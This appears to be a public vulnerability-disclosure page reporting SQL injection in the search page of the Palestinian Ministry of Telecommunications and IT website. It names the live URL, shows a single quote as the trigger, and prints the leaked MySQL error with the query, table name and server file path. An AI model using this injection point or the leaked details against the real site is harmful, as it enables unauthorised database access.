وزارة الإتصالات وتكنولوجيا المعلومات Gov.ps SQL Injection

2020-10-16 / 2020-10-15

Sir-Majed (SA)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

www.mtit.gov.ps

https://www.mtit.gov.ps/index.php/c_home/search

/index.php/c_home/search
'
A Database Error Occurred
Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' and catid IN (8, 9,51,61,125,126)' at line 1

select count(*) as c from cah5n_content where sectionid =0 and title like '%'%' and catid IN (8, 9,51,61,125,126)

Filename: /home/mtit/public_html/models/m_home.php

Line Number: 381

Sir-Majed
Twitter:MM4XM

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

وزارة الإتصالات وتكنولوجيا المعلومات Gov.ps SQL Injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.